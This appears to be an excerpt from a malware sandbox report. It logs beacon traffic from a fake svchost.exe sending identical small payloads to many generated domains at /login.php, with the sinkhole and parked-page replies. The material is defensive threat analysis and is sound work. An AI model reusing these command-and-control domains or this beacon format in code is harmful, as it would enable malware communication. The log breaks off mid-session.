                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: puzylyp.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.036350965 CEST689INHTTP/1.1 410 Gone
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 542
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 30 20 47 6f 6e 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 30 20 47 6f 6e 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>410 Gone</title></head><body><center><h1>410 Gone</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          3192.168.2.54971044.221.84.105805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.370343924 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vocyzit.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.851449966 CEST409INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=3bd5de231d5c30f08e390492f5c039b1|8.46.123.33|1724431332|1724431332|0|1|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          4192.168.2.54971144.221.84.105805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.460902929 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qetyfuv.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.931709051 CEST409INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=ba785a403bc90255316f056071bf01aa|8.46.123.33|1724431332|1724431332|0|1|0; path=/; domain=.qetyfuv.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          5192.168.2.5497123.94.10.34805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.479856014 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lymyxid.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.965327978 CEST409INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=a03933307436d0e87a275c8dab3cea9f|8.46.123.33|1724431332|1724431332|0|1|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          6192.168.2.54971318.208.156.248805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.498455048 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vonypom.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.969409943 CEST409INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=aa184787ed2d77e1f6f59c2dc950863e|8.46.123.33|1724431332|1724431332|0|1|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          7192.168.2.549714199.191.50.83805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.531565905 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galyqaz.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001249075 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                          Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                          Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                          Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
                                                                                                                                                                                                          Set-Cookie: vsid=918vr471976932991951418; expires=Wed, 22-Aug-2029 16:42:12 GMT; Max-Age=157680000; path=/; domain=galyqaz.com; HttpOnly
                                                                                                                                                                                                          X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_NHOnw0G73BscnvIcyf8HaXYxUwB52N5y4R2rV77ldfg6F/P3HTMIgnr4aIPWR/fyPGslgb3huQzNdSH/7sK+hw==
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Data Raw: 31 39 61 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72
                                                                                                                                                                                                          Data Ascii: 19a50<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <scr
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001260042 CEST1236INData Raw: 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c
                                                                                                                                                                                                          Data Ascii: ipt>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)||window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="2
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001277924 CEST1236INData Raw: 6e 22 29 7b 6a 3d 74 72 75 65 7d 69 66 28 6a 26 26 74 79 70 65 6f 66 28 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 29 3d 3d 22 73 74 72 69 6e 67 22 26 26 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 21 3d 3d 22 22
                                                                                                                                                                                                          Data Ascii: n"){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs();var c=[];var f=location.hash;var e=location.search;var a="languages" in navigator?navigator.la
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001281977 CEST1236INData Raw: 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 7b 69 66 28 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 5b 71 5d 2e 6c 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3d 3d 6f 2e 74 6f
                                                                                                                                                                                                          Data Ascii: .cmp_customlanguages.length;q++){if(h.cmp_customlanguages[q].l.toUpperCase()==o.toUpperCase()){o="en";break}}}b="_"+o}function x(i,e){var w="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash.substr(d.hash.indexOf(i)+s,9
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001287937 CEST896INData Raw: 65 6e 67 74 68 3e 30 3f 22 26 5f 5f 63 6d 70 66 63 63 3d 31 22 3a 22 22 29 2b 22 26 6c 3d 22 2b 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 22 26 6f 3d 22 2b 28 6e 65 77 20 44 61 74 65 28 29 29 2e 67 65 74 54 69 6d 65 28 29 3b 6a 2e 74 79 70
                                                                                                                                                                                                          Data Ascii: ength>0?"&__cmpfcc=1":"")+"&l="+o.toLowerCase()+"&o="+(new Date()).getTime();j.type="text/javascript";j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}else{if(u.body){u.body.appendChi
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001629114 CEST1236INData Raw: 6d 65 6e 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 65 6c 73 65 7b 69 66 28 75 2e 62 6f 64 79 29 7b 75 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 65 6c 73 65 7b 76 61 72 20 74 3d 76 28 22 62 6f 64 79 22 29 3b 69 66 28
                                                                                                                                                                                                          Data Ascii: ment.appendChild(j)}else{if(u.body){u.body.appendChild(j)}else{var t=v("body");if(t.length==0){t=v("div")}if(t.length==0){t=v("span")}if(t.length==0){t=v("ins")}if(t.length==0){t=v("script")}if(t.length==0){t=v("head")}if(t.length>0){t[0].appe
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001638889 CEST1236INData Raw: 28 61 5b 30 5d 3d 3d 3d 22 70 69 6e 67 22 29 7b 69 66 28 61 5b 31 5d 3d 3d 3d 32 29 7b 61 5b 32 5d 28 7b 67 64 70 72 41 70 70 6c 69 65 73 3a 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 2c 63 6d 70 4c 6f 61 64 65 64 3a 66 61 6c 73 65
                                                                                                                                                                                                          Data Ascii: (a[0]==="ping"){if(a[1]===2){a[2]({gdprApplies:gdprAppliesGlobally,cmpLoaded:false,cmpStatus:"stub",displayStatus:"hidden",apiVersion:"2.2",cmpId:31},true)}else{a[2](false,true)}}else{if(a[0]==="getUSPData"){a[2]({version:1,uspString:window.cm
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001650095 CEST1236INData Raw: 3b 64 2b 2b 29 7b 69 66 28 5f 5f 67 70 70 2e 65 5b 64 5d 2e 69 64 3d 3d 65 29 7b 5f 5f 67 70 70 2e 65 5b 64 5d 2e 73 70 6c 69 63 65 28 64 2c 31 29 3b 68 3d 74 72 75 65 3b 62 72 65 61 6b 7d 7d 72 65 74 75 72 6e 7b 65 76 65 6e 74 4e 61 6d 65 3a 22
                                                                                                                                                                                                          Data Ascii: ;d++){if(__gpp.e[d].id==e){__gpp.e[d].splice(d,1);h=true;break}}return{eventName:"listenerRemoved",listenerId:e,data:h,pingData:window.cmp_gpp_ping()}}else{if(g==="getGPPData"){return{sectionId:3,gppVersion:1,sectionList:[],applicableSections:
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001688004 CEST1236INData Raw: 3a 65 2c 22 2a 22 29 7d 2c 62 2e 70 61 72 61 6d 65 74 65 72 29 7d 69 66 28 74 79 70 65 6f 66 28 63 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 63 21 3d 3d 6e 75 6c 6c 26 26 22 5f 5f 67 70 70 43 61 6c 6c 22 20 69 6e 20 63 29 7b 76 61 72 20 62 3d 63
                                                                                                                                                                                                          Data Ascii: :e,"*")},b.parameter)}if(typeof(c)==="object"&&c!==null&&"__gppCall" in c){var b=c.__gppCall;window.__gpp(b.command,function(h,g){var e={__gppReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},"p
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.001699924 CEST896INData Raw: 7d 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 53 74 75 62 28 22 5f 5f 63 6d 70 22 29 3b 69 66 28 21 28 22 63 6d 70 5f 64 69 73 61 62 6c 65 74 63 66 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65
                                                                                                                                                                                                          Data Ascii: }window.cmp_setStub("__cmp");if(!("cmp_disabletcf" in window)||!window.cmp_disabletcf){window.cmp_setStub("__tcfapi")}if(!("cmp_disableusp" in window)||!window.cmp_disableusp){window.cmp_setStub("__uspapi")}if(!("cmp_disablegpp" in window)||!w
                                                                                                                                                                                                          Aug 23, 2024 18:42:14.006149054 CEST1236INData Raw: 58 45 31 57 55 51 3d 26 62 3d 22 2b 61 62 70 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 6d 67 6c 6f 67 29 3b 69 66 28 74 79 70 65 6f 66 20 61 62 70 65 72 75 72 6c 20 21 3d 3d 20 22 75 6e 64 65 66 69 6e 65
                                                                                                                                                                                                          Data Ascii: XE1WUQ=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "undefined" && abperurl!="")window.top.location=abperurl;}catch(err){}}</script><meta name="tids" content="a='29591' b='33549' c='galyqaz.com' d='entity_mapped'" /><title


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          8192.168.2.549715208.100.26.245805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.545572996 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.059153080 CEST744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.060755968 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.180573940 CEST744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:42:13 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          9192.168.2.54971669.162.80.57805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:42:12.617311001 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyfyj.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:42:13.139326096 CEST362INHTTP/1.1 302 Found
                                                                                                                                                                                                          cache-control: max-age=0, private, must-revalidate
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          content-length: 11
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:42:12 GMT
                                                                                                                                                                                                          location: http://ww1.lysyfyj.com
                                                                                                                                                                                                          server: nginx
                                                                                                                                                                                                          set-cookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098; path=/; domain=.lysyfyj.com; expires=Wed, 10 Sep 2092 19:56:20 GMT; max-age=2147483647; HttpOnly
                                                                                                                                                                                                          Data Raw: 52 65 64 69 72 65 63 74 69 6e 67
                                                                                                                                                                                                          Data Ascii: Redirecting


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          10192.168.2.549717172.234.222.143805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
